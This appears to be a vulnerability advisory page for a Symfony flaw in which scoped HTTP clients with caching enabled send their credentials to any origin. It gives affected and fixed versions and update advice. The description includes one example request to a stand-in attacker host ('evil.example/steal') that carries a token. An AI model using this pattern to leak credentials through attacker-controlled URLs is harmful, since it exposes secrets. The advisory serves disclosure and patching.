cvelo
P3 · MediumCVSS 6.3EPSS 0.4%

Scoped HTTP Clients With Caching Enabled Send Their Credentials to Any Origin

  • CVE-2026-133747
  • EUVD-2026-135236

Description

Since Symfony 7.4, framework.http_client.scoped_clients can enable caching on a scoped client. FrameworkBundle then puts a CachingHttpClient inside the ScopingHttpClient, with the options of the scope as default options. CachingHttpClient merges them into every request. So the credentials of the scope, like auth_bearer, auth_basic or an Authorization header, are also sent to URLs outside the scope: framework: http_client: scoped_clients: github.client: base_uri: 'https://api.github.com' headers: { Authorization: 'token GH-SECRET' } caching: { enabled: true } $githubClient->request('GET', 'https://evil.example/steal'); // sent with "Authorization: token GH-SECRET" Every option of the scope applies outside of it, not only the credentials, for example verify_peer: false, a client certificate, proxy or resolve. Without caching, ScopingHttpClient sends no option of the scope to evil.example. Applications are affected when a scoped client with caching enabled requests a URL that an attacker can influence, absolute URLs included. The CachingHttpClient of a scoped client is now registered without default options. ScopingHttpClient already applies them to the requests that match the scope.

Text from the CVE.org record.

Recommendation

  • Symfony symfony/framework-bundle

    • If you run a version from 8.0.0 to before 8.1.12update to 8.1.12 or laterMinor version change: check the release notes
    • If you run 7.4.xupdate to 7.4.24 or laterPatch update: breaking changes are unlikely
  • Symfony symfony/symfony

    • If you run a version from 8.0.0 to before 8.1.12update to 8.1.12 or laterMinor version change: check the release notes
    • If you run 7.4.xupdate to 7.4.24 or laterPatch update: breaking changes are unlikely

Taken from the version ranges of the CVE.org record. Check the vendor advisory: nothing is said about versions the ranges do not list. Breaking-change risk is read from the version numbers only.

Affected

  • Symfony symfony/framework-bundle

    Affected versionsFixed in
    from 8.0.0 to before 8.1.128.1.12
    from 7.4.0 to before 7.4.247.4.24
  • Symfony symfony/symfony

    Affected versionsFixed in
    from 8.0.0 to before 8.1.128.1.12
    from 7.4.0 to before 7.4.247.4.24

Product versions from the CVE.org record.

Timeline

  1. Published

Related news

No article from the followed outlets names this vulnerability.